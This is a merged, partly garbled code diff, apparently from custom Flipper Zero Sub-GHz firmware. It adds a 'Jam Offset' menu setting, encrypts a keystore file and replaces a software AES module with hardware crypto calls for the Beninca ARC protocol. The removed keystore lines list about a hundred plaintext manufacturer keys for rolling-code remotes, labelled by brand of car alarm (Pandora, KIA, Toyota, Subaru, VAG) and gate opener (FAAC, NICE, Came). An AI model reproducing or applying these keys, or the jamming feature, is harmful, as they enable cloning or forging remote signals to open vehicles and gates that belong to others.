variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]); variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
// --- Hardware ---
VariableItem* hw_item = variable_item_list_add(
app->var_item_list,
"Hardware",
HwIndex_COUNT,
menu_hw_changed,
app);
variable_item_set_current_value_index(hw_item, app->hw_index);
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
// --- Start button --- // --- Start button ---
variable_item_list_add( variable_item_list_add(
app->var_item_list, app->var_item_list,

View File

@@ -1,107 +1,108 @@
Filetype: Flipper SubGhz Keystore File Filetype: Flipper SubGhz Keystore File
Version: 0 Version: 0
Encryption: 0 Encryption: 1
0000000000000000:1:Allgate_Simple IV: 41 52 46 5F 54 68 65 5F 46 69 72 6D 77 61 72 65
0000000023304758:6:KGB/Subaru 1F55E94BD99C5FCA4E8CD620CB2F014854B25B5A5AC7633F7B8C2CE3993328A7A275ED382F23319461EC7B2E2BC450AC
0000000033205748:7:Magic_2 71DF40F4D16CF30DC5223ED59B395704BC67271E3058CB09D7F5D9CEE1C04852
00000000C3644917:2:VAG_Custom_Seed 250208FB825F12A07A8C3F295C3B5FA69F52F2C9CA80452FDD1AEFC5A25F24DC
0102030410203040:1:IronLogic 9D6D26F67532E91FE89476A9E754A60DF8ECE7B92CD1772A7AD3190FCABF06414C0A3762E0012D102798EE204A5549EC
0123456789ABCDEF:2:Stilmatic 0DCC0382D81B9D3E291FDEDDC697E2841D88A326D2869BA29F248D5DA4C96110
0132456789ABCDEF:1:Pandora_Test_Debug_2 F84B5EB3BB882F76E0264A5A1791EDAC8A1CA35E7579EA4D247E473EB1F8F4C1
05AEDAABAA981903:1:Rosh F8A4AFFF527E13643AC511900CF1764408691F60ABD1373E6AFE477E9967FD7F57E3CE41AE4700722DFA383BC64E9669
08AEDAABAA981903:1:Dea_Mio 265C0060DE53B95EF07EE3E00045A6D03C89FE1D89F90EA3A2AFBFDB4A4636D6
1067DC33E7D88A46:0:Leopard DA1EBA6372C50D2072AC38CAACA3B023DEFDAE50987E764BEDA1E9FE53390CBA
12332594A9189478:1:Sheriff 1C0378D5294FC62DCD95A385B3AD2E6FACC13D9AAC37EF7BCE4341E33876BCE8
1234567812345678:2:NICE_Flor_S 68AA58FB1DCDC05E56E0685DC57661333F66D890C6377771327DFB5EBEDA6AE1
1234567890123456:1:Cenmax E647CDE269D1DC5F404830C30B3CE38D8C0B6E928DB4E8863523799E51977B2B
188B0544A9B1DF14:2:Centurion AB40C8B0815B04C84BA1B1ACFFC93F20FE7F60F64AAE6E6AD4562415E6EFC049
1961DAC2EB198847:2:Guard_RF-311A DCD258016EB06D81DFC494261017E9DF36601076970EA09B008EEA43DA0E68EE
1B36977B281597AC:1:Pandora_PRO 321F568C032B4C8B0B392A868ECC0D87EC9969E328FA35BBE9656701C77C35A8
207DBBE59D386F44:2:Cardin_S449 E14A72B0B0689AA7E08A6081E56A00862A34808D77111DE804DDFA39FFCF6782
2156EB02D8E9B977:1:Pandora_DEA FF2573046D35FAA029BF0871A2D3216029B66927CECF527C72F192E06E13C3DC
2255EA01DBEABA76:1:Pandora_GIBIDI FF890BCB54AD911EE78345FCC4F2DA65B653D68C7F6774C74DC998A2295F4916
2354E900DAEBBB75:1:Pandora_MCODE 8D1D92B53C1DD31BE8E1759640471793EFA8E987A4EDEE64A6DF658F2F67C136F5EFC0E895493BC02DB11B783E04DF84
2453EE07DDECBC72:1:Pandora_Unknown_1 20FD4B91D4169332B3CCCBDAB4FA5C730F37FF16A283ADBA6EA9D80F5D9C9F26
2552EF06DCEDBD73:1:Pandora_SUZUKI 7B710488CFE33CE2EDDD37A3E864A517F7309FB097F8959497A5AD42B0E5C8AC2BA7AC6CD6B0BFCDEF5C88F4A995F20C
2587010764070864:1:Harpoon 00D242BF328330A11124C423779CC73379BB80B8071CEFB8F413ED3C9A11BB1F7D4B3B22CA0AC10A74A68887E0994259
2626991902991902:1:Gibidi 5BA325DD503C710D0BC153C50A2CC4F621AB6AE87E9CBBCD2996ED1B2FA1A854
2651EC05DFEEBE70:1:Pandora_Unknown_2 731724428F104BB5697E7705B3E0834B41202A9F2D49C90C4889DDDB21F5AC3E
27193A9B117C0835:11:Jarolift A22BAAB3818146B7B099CD3D65634F7CEBAD36015E7A5A16206ADFBD51988E038F2F62D273CA65CC592AF7DEB805510A
2739451414471820:2:Audii 8DD12F73EF956047011A61C212986775D2A41F98E629DD78C6FA70C0E2634ECA
2750ED04DEEFBF71:2:Pandora_NISSAN 25D57BF539C51295524A53E5EF633547C54CB3D9A8072D9CAD897CEBD2AED3B3
30317B307D794471:1:KEY C54BA9B2D4C6DFDC639E2964316D5311B2A039631880D5F4986E38D63976E28EABFF01B643EFC853DFB8E2E1622A7674
314C3865304E3961:1:Novoferm 7A4062817B4848748A66AB34F9A4DA942BB3FE82CE1E264A12297FB7C6CF68B4
32130221685B9D8C:2:VAG_HELLA_VPM2 65DC6DC85C44CF8D04F7B786C16D30F9BB12C7AE80B68612464021CAAEB196AD
3519B934A4227995:1:Pandora_SUBARU DD1F98CF4AF384B2412A786614C16109ED8FF9E842DCFF8E859B1D27BF1E08AD4C31793D1A6E07F8BCC7E5E0BCD4DF3B
352BABACA5F4DFE0:1:Pecinin C0FF96999B5AC49EDCDFF82A51968F2A985D240A2AC91178C02B34DDD5F2EE77DA0804D9E47470889DC8FC8BA01B2C11
381D7D9A2A17AE99:1:Pandora_M101 51BAEBB4763C7E2A57C638ED824D83C73FB5E3E128992BBAAB7690CED5B40310
3E461AB4F76DA19B:2:Merlin 947F12090F89793CE465816679654F5E6397E3A15D726DF86A6023E6E8ABB065
4030201004030201:1:IL-100(Smart) B70CC56D0AF6F8E04E63031BBCB02EED4DB59A80B81FD4F67B8B61DFA57A0D51
4130850A82610A14:1:Pantera_CLK C3DC0E9717759C36DFBDA6CCDD146B54C5F1A52A3C3802ADE9D2303BD179F5CE
414C455831393830:1:Kingates_Stylo4k 5728832CD50226018ADD6A4736866EE4E932616C1CE74D67E2CE00D1427CBD96
4292903083134583:2:Monarch 222A41966802B8607EF496D898D5BCA41BD9D891552F53FD809C81C487EBB8C25DB6CA656AFF45D5911BE9B10BADBDF5
434144494C4C4143:2:Cadillac_GM E171BE8EEC7773BB6AC1EC6B8AD13696267770931E4D72ADEB6A519A085F4EAF
43485259534C4552:2:Chrysler 29FA68F7BB01E55AA738A68866F674CF34873E6109C328D4654FF3CCAE7D3C73
444145574F4F0000:2:Daewoo E6791ABDD092843AE7A9B3A936B1AA77B812FF16CEA352F7972F132480AA4561
4772736565734769:1:Aprimatic 701A4DCFF6C7A56D9DAC77F071220F7C28B8206BB5F3213F5761C8ED6DABEDC6
484D6C6D73545253:1:NICE_MHOUSE AA4678E9AF3FE65F9B8E90A5CC95034CF510F1BD2C26DC89200CDAF3E15A9990
484F4E4441200000:2:Honda A13B1578F6A2241830208014AD3E864CB0AA442AFF02952F3C2FCCC4F33140B2
4859554E44414920:2:Hyundai_Asia 7C08CEC7BD2CC73EC9C436D32BB692E9020B9E043CF5F428705097F0AB141DEF
4C6D4D7A55644F76:3:BFT 8F39C7668AD33A2F66E5451E07CDF87D4B44FC962DEDE7D68365EA8E729A058E
4D41474E64796E65:1:Pantera 67F6C50C2D1BDEF471913E405A182D91040D4F4160484ED8762037F7F2EE8EBA
4D49545355424953:2:Mitsubishi 4DF3627B7F42226780EB3C247F18C1F37CD25AA22C120F69B732A1FAC9D02C8A
4E495353414E2000:2:Nissan 2A277456C8BA44CDC5A44D4353B9FA04D3F45743DB04B1E659F7DB4A8219672E
535446524B453030:13:KIAV5 1E749351CBE258D2B8710B48FF9D3F4034244C7CAEA25C93FA4A2E04E2F4CB59
53555A554B490000:2:Suzuki AEEA5813C69800830540B6768FCD0EF35A43FA58F6A8315AE06545A6103112D1
53696C7669618C14:5:FAAC_SLH 5A773FDCBABB5C9ADAD19B356D0300D5A5E905E6FEDED53D209A9BE2853C5BD8
54365CB7676284F9:1:Alligator_S-275 F7C5AA9B29EB56D16610B560F65E99E78DCFE9463E6347E9477F387AC5756B05
544F594F54410000:2:Toyota 59AF0DCF53E422B553B250F9131E365D9265ACA04C1763CEA379459D8E2D2026E4C6523DBEC8CFA9D2C287C7AB6F8719
54524D534543494E:1:NICE_Smilo CC11C8105B3643EAF8F935EE3E5408181CD7A41011EDF11F37D8BE45A70CB5A2
5504045708301203:1:SL_A6-A9/Tomahawk_9010 0B71155A1BFE1A61D1C6122EC9961CF97BF34C188AEEA1FCBDA8A56631180926
572768229476CAFF:2:Motorline C4EA8825FB1030BDFCAD7A991F3CC7D65CA4300E1ABA4C53EB7287CF33031286E699217258B9CECCF99412915C50A579
638664A880AA23FC:11:KIAV6A A38F7B2D60ECD413609AF9A02924D50591FB07C2EF95B8512569E48D613855F0
6408076407018725:1:Tomahawk_TZ-9030 6EBF32A7D2070E13A7EB01CB3CB3C62A2173DD56AC3627320B54E3D3211BCBC2
66B446B980AC752B:1:Cenmax_St-7 CCD92DEBB91582B72DC921F8675002399299C243C6AE9BADFE3EEB1BCC79512C3FEA1A83393F795AC6E0546B3FFAE364
67732C5056334627:1:Pantera_XS/Jaguar 491AD804382AA360C866082778A8ABA358FF9586A955BD5A9FD28FDF0B05744B
685B9D8C5A130221:2:VAG_HELLA_VPM 9D6D8647BC32B0A4EE08F2D361B13037BA596402E6BEB4ED9D3D582F5552C89B9D96CD6836DF15E55251ED39E5D0E8C4
68732C5056334728:1:APS-1100_APS-2550 BE92434BC3F646A192146500D150462E8FDFADB93E0DC8C1BE1B2F9E4B3A762B
6912FA557DC2418A:0:Reff 7FA5E6D202BE57AA4DAFE94090FA8F84D483C3A6DEFD7EDF69D0F9972F55212EEBA83C847A8374059280AEDB24BA11BC
6B8E6CA088A22BF4:12:KIAV6B B6CDA34C4E8DFE3E509A22DC89B67E9706A980198D3FC522362B59647D79DBEA
6D69736572657265:2:BFT_Miserere BEED72A8B1DFBABF59D58D8EA98385BF706BDF403E3F84702D0BF5D87E0FAEBC
6EB6AE4815C63ED2:9:Beninca_ARC B049623264E92A557F1F6B04546D0D73889BF732ACE3109583CD52E226D8C2BC
6F5E4D3B2AABCDEF:1:Tomahawk_Z,X_3-5 91881B87503555F8A82E3E4314C1276F636BD5F2BB451FF1E131CB8CD0E089BF
7BCBEED4376EDCBF:2:Sommer AEA6163792A3B2D587F9270752F9D744849621E8A4DF9B5B82DFF06297DA828D4A95DD8E71267E560BFEB6C2EDB06F2A
7EAF1E9A392B19B9:1:Pandora_PRO2 98CEA896C163DBE5C9839CAE6E09DF46EE9AEC8A8978C5B018DB80E1081E01A3
8455F43584941223:1:DoorHan 27759BD9760153C94F982ADD85DA3F7FDD51EF17B3791968417ACDEBEBE59F9C
8607427861394E30:2:EcoStar 716574AB5E60E65600B86A66F6C8A6536FB97792D5B9A5EDE477D5B623F118B1
8765432187654321:2:Sommer_FM_868 740FD62AFEF9D781976A5C01D8041B00A0D69DE56F1FAE030CC680D0D81793CB
89146E59537903B7:1:JCM_Tech 9BFF7A62569BA492B586CA27B2A87F96861F5564696AD3F779A58C09955A6342
8A326438B62287F5:0:Faraon 9BBF2793C0326BD03BA66A59BE65977C68225E26A55AAA6B56AC4F1D21B795DB
8BC9E46704700800:1:Vag B8D4A1B5134B09C81B586A8ADDFA6292DE50CA84D0FAA9448D610C68129FD9CD
96638C36C99C2C9B:1:Came_Space 46827F0D09BEBFF241B4615EF4F9E5ADDB559EB87F4FC15A2AC58816969E186A
9804655AA5000000:8:Magic_4 B090E1924CEF93ADC559E876CC71D174A43FE7ECB0FA2A7D748BD51E9B4D9780
9BF7F89BF8FE78DA:1:SL_A2-A4 8E8BFD7D356C101EB4998068767D9C259BE6C86A3BCE682C7BC05A8E6B32E106
9C61FD3A47B8E25C:2:Elmes_Poland 8E57374694C5EB4A928B5BC25AD17ED2A0FF9563ADFEE22DA5C5CB15896C8C08
9DA08153CF312BA7:1:Normstahl F4DF5C45823C2F3C590D6D962D0B46CB7442CFE1CE9930159E03C6D1B99A728E
A8F5DFFC8DAA5CDB:10:KIA 72B3D5150BD2BFF2411DC4C85673D29B22649FA2F7CD4309C2C3BEB834D44CF8
A9748532B7655297:2:GSN 51E14868A82570D2736DB6BDA6ADF110ABABC3982A1CD3F3107C9A4774DA2C49
AA38A7A32189B5A1:0:Mutanco_Mutancode 7AFC1EA6CFAD93CBD16D7C6783E425378405F4E45A1F4757C5703513B693B069
AAFBFBA8F7CFEDFC:1:Cenmax_St-5 944DD7315336FF24EC1D08211FF22DE40669C2D3F5D1F8C6907E6E0DD0F3024B9C536D32C4D4D1B05C0DA2AF139156BC
AC35BB2759000000:8:Magic_3 F78DB3774E964AF6EA61A0E6CB6FA311A63777DD6C82E83CF1508A4845AD995A
AD3C12A17028F11E:1:Partisan_RX ADE6563483B98ABBA28FCC0AC6A6D046EBA57C28C9274938E47D07F78B3256B9
B3E5625A8CCD7139:2:Steelmate 717C322142EAD4B0160D208CAB0EC6062A79D4CE917C805757A8812E7E1BE2B4
B51526E8F126D1D7:0:Teco C6647C1643449A8E0A99F42AF0467376318FECE96EB11297EA6EC979CD50335B
B51A7AAB27351596:0:ZX-730-750-1055 CAFDBBCA3A8DCE026E6C131435656FA5B2FE2AB7340D227D37C7318C498B3F0C
BBEE9EDDAAF97ECC:1:Jolly_Motors F546BFA436AC20207F604E7634B6B30BBA4AA8047E7E72041FF023E9BFCA8D48219740033478EE52FC2CA9ED69F6B1AF
CEB6AE48B5C63ED2:4:Beninca E54DE969B061414A725483E3455923112462408DD43D221E7651F245DD9AECAA
D5A5E7B2A7C1A0BA:2:Mongoose 5E8A5BB037F8F6FF326190B9A3E6D5D0ED268D2F6EA77DAAE3E6FC2FC60AE46E
E5D2C83529C113E6:2:VAG_HELLA_PWM 5E4457C2A8CD8A9EC4EB16F674775D2F27AD91E7D0ED4A58E42F0C8FB2195F52
EEF3D4B2626C5578:1:Alligator E802E4FD33685950082F2CC510B5BD5D394FAADF7B88107F8C6BD1B30EFA5951
F1A3E552C8647E55:2:Comunello A8C339432E43C41206417FE5C5341B6063D011EC682914247939000741A4325E
F250006EF29E030E:2:Vauweh 97A26AAA3AA268F2271563B10173228C9CE67DE0872E7D6088B40D2B43599AA0
F6E5D4B32ABADCFE:1:SL_B6,B9_dop 452F34AA2ACB42D23BF801CBC2B9956C3DFED71B34672BA0D09D20CBC5B6AE5E
FAAC05600001FAAC:2:FAAC_RC,XT AD473E39707EFECEC634A84099CF8BB05B9307390EAABFDF54901936E265F9EC
FAAC05600002FAAC:2:Genius_Bravo E946D1047A519101DB2B4FA48939049E869D43E54AD34A2E314E67BA86D4D577
FADA12FADA34F0DA:1:Rossi 7FCE70BF03798364ECD144909FB344FFC3C66A34AE5CBC230D970423A5412ED0
FC4DE22CD5370320:1:DTM_Neo 0BF57416D2600E332F14737333A7FB7D8327B96B98F217B620B3080F61F2DFEB
FEDCBA9876543210:2:Came_Tam 8D77033A47064B6D304C29E61FD3497CECE0CB0BE1305A0A5C418479FA142CA7
ACDA2BB920997BF6BAA1BFFD1300BCDCE0117C81DBFAA986A2DD9820287D853E

View File

@@ -1,252 +0,0 @@
#include "aes_common.h"
static const uint8_t aes_sbox[256] = {
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab,
0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4,
0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71,
0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,
0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6,
0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb,
0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45,
0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44,
0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a,
0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49,
0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,
0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25,
0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e,
0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1,
0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb,
0x16};
static const uint8_t aes_sbox_inv[256] = {
0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7,
0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde,
0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42,
0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,
0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c,
0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15,
0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7,
0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,
0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc,
0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad,
0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d,
0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,
0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8,
0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51,
0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0,
0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c,
0x7d};
static const uint8_t aes_rcon[10] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36};
static uint8_t gf_mul2(uint8_t x) {
return ((x >> 7) * 0x1b) ^ (x << 1);
}
static void aes_subbytes(uint8_t* state) {
for(uint8_t row = 0; row < 4; row++) {
for(uint8_t col = 0; col < 4; col++) {
state[row + col * 4] = aes_sbox[state[row + col * 4]];
}
}
}
static void aes_subbytes_inv(uint8_t* state) {
for(uint8_t row = 0; row < 4; row++) {
for(uint8_t col = 0; col < 4; col++) {
state[row + col * 4] = aes_sbox_inv[state[row + col * 4]];
}
}
}
static void aes_shiftrows(uint8_t* state) {
uint8_t temp;
temp = state[1];
state[1] = state[5];
state[5] = state[9];
state[9] = state[13];
state[13] = temp;
temp = state[2];
state[2] = state[10];
state[10] = temp;
temp = state[6];
state[6] = state[14];
state[14] = temp;
temp = state[15];
state[15] = state[11];
state[11] = state[7];
state[7] = state[3];
state[3] = temp;
}
static void aes_shiftrows_inv(uint8_t* state) {
uint8_t temp;
temp = state[13];
state[13] = state[9];
state[9] = state[5];
state[5] = state[1];
state[1] = temp;
temp = state[2];
state[2] = state[10];
state[10] = temp;
temp = state[6];
state[6] = state[14];
state[14] = temp;
temp = state[3];
state[3] = state[7];
state[7] = state[11];
state[11] = state[15];
state[15] = temp;
}
static void aes_mixcolumns(uint8_t* state) {
uint8_t a, b, c, d;
for(uint8_t i = 0; i < 4; i++) {
a = state[i * 4];
b = state[i * 4 + 1];
c = state[i * 4 + 2];
d = state[i * 4 + 3];
uint8_t a2 = gf_mul2(a);
uint8_t b2 = gf_mul2(b);
uint8_t c2 = gf_mul2(c);
uint8_t d2 = gf_mul2(d);
state[i * 4] = a2 ^ b2 ^ b ^ c ^ d;
state[i * 4 + 1] = a ^ b2 ^ c2 ^ c ^ d;
state[i * 4 + 2] = a ^ b ^ c2 ^ d2 ^ d;
state[i * 4 + 3] = a2 ^ a ^ b ^ c ^ d2;
}
}
static void aes_mixcolumns_inv(uint8_t* state) {
uint8_t a, b, c, d;
for(uint8_t i = 0; i < 4; i++) {
a = state[i * 4];
b = state[i * 4 + 1];
c = state[i * 4 + 2];
d = state[i * 4 + 3];
uint8_t a2 = gf_mul2(a);
uint8_t a4 = gf_mul2(a2);
uint8_t a8 = gf_mul2(a4);
uint8_t b2 = gf_mul2(b);
uint8_t b4 = gf_mul2(b2);
uint8_t b8 = gf_mul2(b4);
uint8_t c2 = gf_mul2(c);
uint8_t c4 = gf_mul2(c2);
uint8_t c8 = gf_mul2(c4);
uint8_t d2 = gf_mul2(d);
uint8_t d4 = gf_mul2(d2);
uint8_t d8 = gf_mul2(d4);
state[i * 4] = (a8 ^ a4 ^ a2) ^ (b8 ^ b2 ^ b) ^ (c8 ^ c4 ^ c) ^ (d8 ^ d);
state[i * 4 + 1] = (a8 ^ a) ^ (b8 ^ b4 ^ b2) ^ (c8 ^ c2 ^ c) ^ (d8 ^ d4 ^ d);
state[i * 4 + 2] = (a8 ^ a4 ^ a) ^ (b8 ^ b) ^ (c8 ^ c4 ^ c2) ^ (d8 ^ d2 ^ d);
state[i * 4 + 3] = (a8 ^ a2 ^ a) ^ (b8 ^ b4 ^ b) ^ (c8 ^ c) ^ (d8 ^ d4 ^ d2);
}
}
static void aes_addroundkey(uint8_t* state, const uint8_t* round_key) {
for(uint8_t col = 0; col < 4; col++) {
state[col * 4] ^= round_key[col * 4];
state[col * 4 + 1] ^= round_key[col * 4 + 1];
state[col * 4 + 2] ^= round_key[col * 4 + 2];
state[col * 4 + 3] ^= round_key[col * 4 + 3];
}
}
void aes_key_expansion(const uint8_t* key, uint8_t* round_keys) {
for(uint8_t i = 0; i < 16; i++) {
round_keys[i] = key[i];
}
for(uint8_t i = 4; i < 44; i++) {
uint8_t prev_word_idx = (i - 1) * 4;
uint8_t b0 = round_keys[prev_word_idx];
uint8_t b1 = round_keys[prev_word_idx + 1];
uint8_t b2 = round_keys[prev_word_idx + 2];
uint8_t b3 = round_keys[prev_word_idx + 3];
if((i % 4) == 0) {
uint8_t new_b0 = aes_sbox[b1] ^ aes_rcon[(i / 4) - 1];
uint8_t new_b1 = aes_sbox[b2];
uint8_t new_b2 = aes_sbox[b3];
uint8_t new_b3 = aes_sbox[b0];
b0 = new_b0;
b1 = new_b1;
b2 = new_b2;
b3 = new_b3;
}
uint8_t back_word_idx = (i - 4) * 4;
b0 ^= round_keys[back_word_idx];
b1 ^= round_keys[back_word_idx + 1];
b2 ^= round_keys[back_word_idx + 2];
b3 ^= round_keys[back_word_idx + 3];
uint8_t curr_word_idx = i * 4;
round_keys[curr_word_idx] = b0;
round_keys[curr_word_idx + 1] = b1;
round_keys[curr_word_idx + 2] = b2;
round_keys[curr_word_idx + 3] = b3;
}
}
void aes128_encrypt(const uint8_t* expanded_key, uint8_t* data) {
uint8_t state[16];
memcpy(state, data, 16);
aes_addroundkey(state, &expanded_key[0]);
for(uint8_t round = 1; round < 10; round++) {
aes_subbytes(state);
aes_shiftrows(state);
aes_mixcolumns(state);
aes_addroundkey(state, &expanded_key[round * 16]);
}
aes_subbytes(state);
aes_shiftrows(state);
aes_addroundkey(state, &expanded_key[160]);
memcpy(data, state, 16);
}
void aes128_decrypt(const uint8_t* expanded_key, uint8_t* data) {
uint8_t state[16];
memcpy(state, data, 16);
aes_addroundkey(state, &expanded_key[160]);
for(uint8_t round = 9; round > 0; round--) {
aes_shiftrows_inv(state);
aes_subbytes_inv(state);
aes_addroundkey(state, &expanded_key[round * 16]);
aes_mixcolumns_inv(state);
}
aes_shiftrows_inv(state);
aes_subbytes_inv(state);
aes_addroundkey(state, &expanded_key[0]);
memcpy(data, state, 16);
}
void reverse_bits_in_bytes(uint8_t* data, uint8_t len) {
for(uint8_t i = 0; i < len; i++) {
uint8_t byte = data[i];
uint8_t step1 = ((byte & 0x55) << 1) | ((byte >> 1) & 0x55);
uint8_t step2 = ((step1 & 0x33) << 2) | ((step1 >> 2) & 0x33);
data[i] = ((step2 & 0x0F) << 4) | (step2 >> 4);
}
}

View File

@@ -1,10 +0,0 @@
#pragma once
#include "base.h"
#include <furi.h>
void reverse_bits_in_bytes(uint8_t* data, uint8_t len);
void aes128_decrypt(const uint8_t* expanded_key, uint8_t* data);
void aes128_encrypt(const uint8_t* expanded_key, uint8_t* data);
void aes_key_expansion(const uint8_t* key, uint8_t* round_keys);

View File

@@ -7,7 +7,7 @@
#include "core/log.h" #include "core/log.h"
#include <stddef.h> #include <stddef.h>
#include <stdint.h> #include <stdint.h>
#include "aes_common.h" #include <furi_hal_crypto.h>
#include "../blocks/custom_btn_i.h" #include "../blocks/custom_btn_i.h"
@@ -152,6 +152,15 @@ static void get_subghz_protocol_beninca_arc_aes_key(SubGhzKeystore* keystore, ui
} }
} }
static void reverse_bits_in_bytes(uint8_t* data, uint8_t len) {
for(uint8_t i = 0; i < len; i++) {
uint8_t byte = data[i];
uint8_t step1 = ((byte & 0x55) << 1) | ((byte >> 1) & 0x55);
uint8_t step2 = ((step1 & 0x33) << 2) | ((step1 >> 2) & 0x33);
data[i] = ((step2 & 0x0F) << 4) | (step2 >> 4);
}
}
static uint64_t static uint64_t
subghz_protocol_beninca_arc_decrypt(SubGhzBlockGeneric* generic, SubGhzKeystore* keystore) { subghz_protocol_beninca_arc_decrypt(SubGhzBlockGeneric* generic, SubGhzKeystore* keystore) {
// Beninca ARC Decoder // Beninca ARC Decoder
@@ -170,10 +179,9 @@ static uint64_t
uint8_t aes_key[16]; uint8_t aes_key[16];
get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key); get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
uint8_t expanded_key[176]; uint8_t decrypted[16];
aes_key_expansion(aes_key, expanded_key); furi_hal_crypto_aes128_ecb_decrypt(aes_key, encrypted_data, decrypted);
memcpy(encrypted_data, decrypted, 16);
aes128_decrypt(expanded_key, encrypted_data);
// Serial number of remote // Serial number of remote
generic->serial = ((uint32_t)encrypted_data[0] << 24) | ((uint32_t)encrypted_data[1] << 16) | generic->serial = ((uint32_t)encrypted_data[0] << 24) | ((uint32_t)encrypted_data[1] << 16) |
@@ -235,10 +243,9 @@ static void subghz_protocol_beninca_arc_encrypt(
uint8_t aes_key[16]; uint8_t aes_key[16];
get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key); get_subghz_protocol_beninca_arc_aes_key(keystore, aes_key);
uint8_t expanded_key[176]; uint8_t encrypted[16];
